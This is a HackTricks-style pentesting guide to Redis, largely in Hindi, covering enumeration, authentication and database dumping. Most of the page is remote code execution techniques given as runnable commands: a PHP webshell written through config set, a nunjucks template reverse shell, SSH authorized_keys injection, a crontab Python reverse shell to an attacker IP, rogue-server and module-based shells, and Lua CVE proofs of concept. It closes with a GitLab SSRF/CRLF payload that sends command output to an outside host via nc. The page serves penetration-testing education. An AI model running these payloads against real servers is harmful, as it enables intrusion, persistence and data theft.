6379 - Pentesting Redis

Reading time: 17 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

From the docs: Redis एक open source (BSD licensed), इन-मेमोरी data structure store है, जिसका उपयोग database, cache और message broker के रूप में किया जाता है।

डिफ़ॉल्ट रूप से Redis एक plain-text आधारित प्रोटोकॉल का उपयोग करता है, लेकिन ध्यान रखें कि यह ssl/tls को भी लागू कर सकता है। जानें कि run Redis with ssl/tls here.

डिफ़ॉल्ट पोर्ट: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Automatic Enumeration

कुछ स्वचालित टूल जो redis instance से जानकारी प्राप्त करने में मदद कर सकते हैं:

bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

मैनुअल एनेमरेशन

बैनर

Redis एक टेक्स्ट-आधारित प्रोटोकॉल है, आप बस एक सॉकेट में कमांड भेज सकते हैं और लौटे हुए मान पढ़ने योग्य होंगे। ध्यान रखें कि Redis ssl/tls का उपयोग करके चल सकता है (लेकिन यह बहुत अजीब है)।

एक सामान्य Redis इंस्टेंस में आप बस nc के साथ कनेक्ट कर सकते हैं या आप redis-cli का भी उपयोग कर सकते हैं:

bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

आप जो पहला कमांड आज़मा सकते हैं वह info है। यह Redis इंस्टेंस की जानकारी से संबंधित आउटपुट दे सकता है या कुछ इस तरह वापस कर सकता है:

-NOAUTH Authentication required.

इस अंतिम मामले में, इसका मतलब है कि आपके पास मान्य credentials होने चाहिए ताकि आप Redis instance तक पहुँच सकें।

Redis प्रमाणीकरण

डिफ़ॉल्ट रूप से Redis तक without credentials से एक्सेस किया जा सकता है। हालांकि, इसे configured किया जा सकता है ताकि यह only password, or username + password को सपोर्ट करे.
यह संभव है कि redis.conf फ़ाइल में requirepass पैरामीटर के साथ password सेट किया जाए या अस्थायी रूप से जब तक सेवा फिर से स्टार्ट न हो, कनेक्ट करके और रन कर के: config set requirepass p@ss$12E45.
इसके अलावा, एक username को redis.conf फ़ाइल के अंदर masteruser पैरामीटर में कॉन्फ़िगर किया जा सकता है।

tip

यदि केवल password कॉन्फ़िगर किया गया है तो उपयोग किया गया username "default" होगा।
साथ ही, ध्यान दें कि बाहरी तौर पर पता लगाने का कोई तरीका नहीं है कि Redis को केवल password के साथ कॉन्फ़िगर किया गया था या username+password के साथ।

ऐसे मामलों में आपको Redis के साथ इंटरैक्ट करने के लिए valid credentials ढूँढने की आवश्यकता होगी, इसलिए आप इसे brute-force करने की कोशिश कर सकते हैं।
यदि आपको valid credentials मिल जाते हैं तो आपको session को authenticate करना होगा कनेक्शन स्थापित करने के बाद इस कमांड के साथ:

bash
AUTH <username> <password>

Valid credentials को उत्तर में +OK मिलेगा।

प्रमाणीकृत सूचीकरण

यदि Redis सर्वर anonymous connections की अनुमति देता है या यदि आपने Valid credentials प्राप्त किए हैं, तो आप निम्नलिखित commands का उपयोग करके सेवा के लिए enumeration प्रक्रिया शुरू कर सकते हैं:

bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

अन्य Redis कमांड्स यहाँ पाया जा सकता है और यहाँ.

ध्यान दें कि Redis कमांड्स किसी इंस्टेंस में पुनःनामित किए जा सकते हैं या redis.conf फ़ाइल में हटा दिए जा सकते हैं। उदाहरण के लिए यह पंक्ति FLUSHDB कमांड को हटा देगी:

rename-command FLUSHDB ""

Redis सर्विस को सुरक्षित रूप से कॉन्फ़िगर करने के बारे में अधिक जानकारी यहाँ: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

आप वास्तविक समय में executed Redis कमांड्स को monitor कमांड से monitor in real time the Redis commands देख सकते हैं या शीर्ष 25 सबसे धीमी क्वेरीज़ को slowlog get 25 से प्राप्त कर सकते हैं

अधिक Redis कमांड्स के बारे में और रोचक जानकारी यहाँ पाएं: https://lzone.de/cheat-sheet/Redis

डाटाबेस डम्प करना

Redis में डेटाबेस संख्याएँ 0 से शुरू होती हैं। आप यह देख सकते हैं कि कौन सा उपयोग में है info कमांड के आउटपुट में "Keyspace" हिस्से के अंदर:

या आप सभी keyspaces (डेटाबेस) को सिर्फ़ निम्न के साथ प्राप्त कर सकते हैं:

INFO keyspace

उस उदाहरण में database 0 and 1 का उपयोग किया जा रहा है। Database 0 contains 4 keys and database 1 contains 1। डिफ़ॉल्ट रूप से Redis database 0 का उपयोग करेगा। उदाहरण के लिए database 1 को dump करने के लिए आपको यह करना होगा:

bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

यदि GET <KEY> चलाते समय आपको निम्न त्रुटि -WRONGTYPE Operation against a key holding the wrong kind of value मिलती है, तो इसका कारण यह है कि कुंजी string या integer के अलावा कुछ और हो सकती है और उसे प्रदर्शित करने के लिए किसी विशेष ऑपरेटर की आवश्यकता होती है।

कुंजी के प्रकार को जानने के लिए TYPE कमांड का उपयोग करें, नीचे list और hash कुंजियों के लिए उदाहरण दिया गया है।

bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

npm के साथ डेटाबेस डंप करें redis-dump या python redis-utils

Redis RCE

Interactive Shell

redis-rogue-server Redis(<=5.0.5) में स्वतः ही interactive shell या reverse shell प्राप्त कर सकता है।

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

जानकारी here. आपको Web site folder का path पता होना चाहिए:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

यदि webshell access में exception हो, तो बैकअप लेने के बाद आप डेटाबेस खाली कर सकते हैं और फिर से प्रयास कर सकते हैं; याद रखें कि बाद में डेटाबेस को पुनर्स्थापित करें।

टेम्पलेट Webshell

पहले के सेक्शन की तरह आप कुछ html template फ़ाइल को ओवरराइट करके, जिसे किसी template engine द्वारा interpret किया जाएगा, एक shell हासिल कर सकते हैं।

उदाहरण के लिए, this writeup, आप देख सकते हैं कि attacker ने rev shell in an html जिसे nunjucks template engine द्वारा interpreted किया गया था, inject किया:

javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

warning

ध्यान रखें कि कई template engines टेम्पलेट्स को मेमोरी में cache कर देती हैं, इसलिए भले ही आप उन्हें overwrite कर दें, नया वाला execute नहीं होगा। इन मामलों में, या तो developer ने automatic reload सक्रिय छोड़ दिया है या आपको सर्विस पर DoS करना पड़ेगा (और उम्मीद रखें कि यह automatically relaunched होगा)।

SSH

उदाहरण from here

कृपया ध्यान दें कि config get dir का परिणाम अन्य मैन्युअल exploit commands के बाद बदल सकता है। सुझाव है कि इसे Redis में लॉगिन करने के ठीक बाद ही चलाएँ। config get dir के output में आप redis user का होम पा सकते हैं (आमतौर पर /var/lib/redis या /home/redis/.ssh)—और इसे जानकर आप जान सकते हैं कि authenticated_users फ़ाइल कहाँ लिखनी है ताकि ssh के माध्यम से user redis के रूप में access किया जा सके। यदि आप किसी अन्य वैध user का होम जानते हैं जहाँ आपकी writable permissions हैं तो आप इसे भी abuse कर सकते हैं:

  1. अपने PC पर एक ssh public-private key pair जनरेट करें: ssh-keygen -t rsa
  2. public key को एक फ़ाइल में लिखें : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. फ़ाइल को redis में import करें : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Redis सर्वर पर public key को authorized_keys फ़ाइल में सेव करें:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. अंत में, आप private key से ssh कर सकते हैं : ssh -i id_rsa redis@10.85.0.52

This technique is automated here: https://github.com/Avinash-acid/Redis-Server-Exploit

अतिरिक्त रूप से, सिस्टम users को यह जांच कर भी पाया जा सकता है कि config set dir /home/USER, और पुष्टि होने पर, एक नया authorized_keys लिखकर /home/USER/.ssh/authorized_keys में रखा जा सकता है। इसको usernames wordlist के साथ bruteforce करने और authorized_keys overwrite करने के लिए redis-rce-ssh का उपयोग करें।

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

The last example is for Ubuntu, for Centos, the above command should be: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

This method can also be used to earn bitcoin :yam

Redis मॉड्यूल लोड करना

  1. Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.
  2. फिर आपको किसी तरीके से कम्पाइल किया गया मॉड्यूल अपलोड करने का तरीका चाहिए
  3. रनटाइम पर अपलोड किया गया मॉड्यूल MODULE LOAD /path/to/mymodule.so के साथ लोड करें
  4. यह जांचने के लिए कि यह सही ढंग से लोड हुआ है, लोड किए गए मॉड्यूल सूचीबद्ध करें: MODULE LIST
  5. कमांड्स चलाएँ:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. जब चाहें मॉड्यूल अनलोड करें: MODULE UNLOAD mymodule

LUA sandbox bypass

Here आप देख सकते हैं कि Redis कमांड EVAL का उपयोग करके Lua code sandboxed को execute करता है। लिंक किए गए पोस्ट में आप देख सकते हैं कि dofile फ़ंक्शन का उपयोग करके इसे कैसे abuse किया जा सकता था, लेकिन (apparently) अब ऐसा संभव नहीं है। फिर भी, यदि आप Lua sandbox को bypass कर सकें तो आप सिस्टम पर arbitrary commands execute कर सकते हैं। इसके अलावा, उसी पोस्ट से आप कुछ DoS उत्पन्न करने के विकल्प भी देख सकते हैं।

Some CVEs to escape from LUA:

Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818)

Recent Redis releases fixed multiple issues in the embedded Lua engine that allow sandbox escape, memory corruption and cross-user code execution. These techniques apply when:

  • Attacker can authenticate to Redis and Lua is enabled (EVAL/EVALSHA or FUNCTION are usable)
  • Redis version is older than 8.2.2, 8.0.4, 7.4.6, 7.2.11, or 6.2.20

Tip: If you are new to Lua sandboxing tricks, check this page for general techniques:

Lua Sandbox Escape

Patch-level context:

  • Fixed in: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
  • प्रभावित जब Lua scripting सक्षम है और ऊपर दिए गए वर्शन लागू नहीं हैं

CVE-2025-49844 — GC-timed Use-After-Free in Lua parser (lparser.c: luaY_parser)

  • Idea: जब parser अभी-अभी insert किए गए TString को संदर्भित कर रहा हो, उस दौरान garbage collection को मजबूर करें। जब GC उसे reclaim कर लेता है, parser एक freed pointer का उपयोग करता है (UAF) → crash/DoS और संभावित native code execution जो Lua sandbox के बाहर है।
  • Trigger strategy:
  1. बड़ी strings के साथ memory pressure बनाएं ताकि GC सक्रिय हो
  2. एक बड़े source chunk के compile होते समय स्पष्ट रूप से GC चलाएँ
  3. एक बहुत बड़ा Lua script loop में compile करें जब तक कि GC parsing के साथ sync न हो जाए

Minimal EVAL harness to reproduce crashes

bash
# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0

Notes:

  • GC को luaY_parser के साथ align करने के लिए कई प्रयासों की आवश्यकता हो सकती है। एक crash संकेत देता है कि UAF हिट हुआ।
  • exploitation से RCE तक पहुँचने के लिए Redis Lua sandbox के आगे memory grooming और native code pivoting की आवश्यकता होती है।

CVE-2025-46817 — unpack में पूर्णांक ओवरफ़्लो (lbaselib.c: luaB_unpack)

  • Root cause: The count n = e - i + 1 is computed without unsigned casts, so extreme indices wrap, making Lua attempt to unpack far more elements than exist → stack corruption and memory exhaustion.
  • PoC (DoS/mem exhaustion):
bash
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
  • सर्वर से अपेक्षा रखें कि यह बहुत बड़ी संख्या में मान लौटाने की कोशिश करेगा और अंततः क्रैश या OOM हो जाएगा।

CVE-2025-46818 — Cross-user privilege escalation via basic type metatables

  • मूल कारण: Engine initialization के समय basic types के metatables (e.g., strings, booleans) को read-only नहीं किया गया था। कोई भी authenticated उपयोगकर्ता इन्हें poison कर सकता है ताकि वे ऐसे methods inject कर सकें जिन्हें अन्य उपयोगकर्ता बाद में कॉल कर सकते हैं।
  • उदाहरण (string metatable poisoning):
bash
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# → Returns: testfuncoutput
  • प्रभाव: पीड़ित की Redis अनुमतियों का उपयोग करके Lua sandbox के अंदर Cross-user code execution। Redis ACL contexts के भीतर lateral movement/priv-esc के लिए उपयोगी।

Master-Slave मॉड्यूल

master redis के सभी ऑपरेशन अपने आप slave redis में सिंक्रनाइज़ हो जाते हैं, जिसका मतलब है कि हम कमजोर redis को एक slave redis मान सकते हैं जो उस master redis से जुड़ा है जिसे हम नियंत्रित करते हैं; फिर हम अपनी Redis में कमांड दर्ज कर सकते हैं।

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF Redis से बातचीत

यदि आप clear text request to Redis भेज सकते हैं, तो आप इसके साथ communicate with it कर सकते हैं, क्योंकि Redis अनुरोध को लाइन-दर-लाइन पढ़ेगा और उन लाइनों पर केवल errors के साथ प्रतिक्रिया देगा जिन्हें वह समझ नहीं पाता:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

इसलिए, यदि आप किसी वेबसाइट में एक SSRF vuln पाते हैं और आप कुछ headers (शायद एक CRLF vuln के साथ) या POST parameters को control कर सकते हैं, तो आप Redis को arbitrary commands भेजने में सक्षम होंगे।

उदाहरण: Gitlab SSRF + CRLF से Shell

Gitlab11.4.7 में एक SSRF vulnerability और एक CRLF पाई गई थी। यह SSRF vulnerability नया प्रोजेक्ट बनाते समय import project from URL functionality में थी और यह [0:0:0:0:0:ffff:127.0.0.1] जैसा arbitrary IP एक्सेस करने की अनुमति देती थी (यह 127.0.0.1 को access करेगा), और CRLF vuln का फायदा सिर्फ URL में %0D%0A characters जोड़कर उठाया गया था।

इसलिए, इन vulnerabilities का दुरुपयोग करके Redis instance से बातचीत करना संभव था जो gitlab के लिए queues का प्रबंधन करता है, और उन queues का दुरुपयोग करके code execution प्राप्त किया जा सकता था। Redis queue abuse payload है:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

और URL encode अनुरोध जो SSRF और CRLF का दुरुपयोग करके whoami चलाता है और आउटपुट को nc के माध्यम से वापस भेजता है, वह है:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

किसी कारणवश (जैसा कि उस लेखक के मामले में https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ जहाँ से यह जानकारी ली गई थी) exploitation ने git स्कीम के साथ काम किया और http स्कीम के साथ नहीं।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें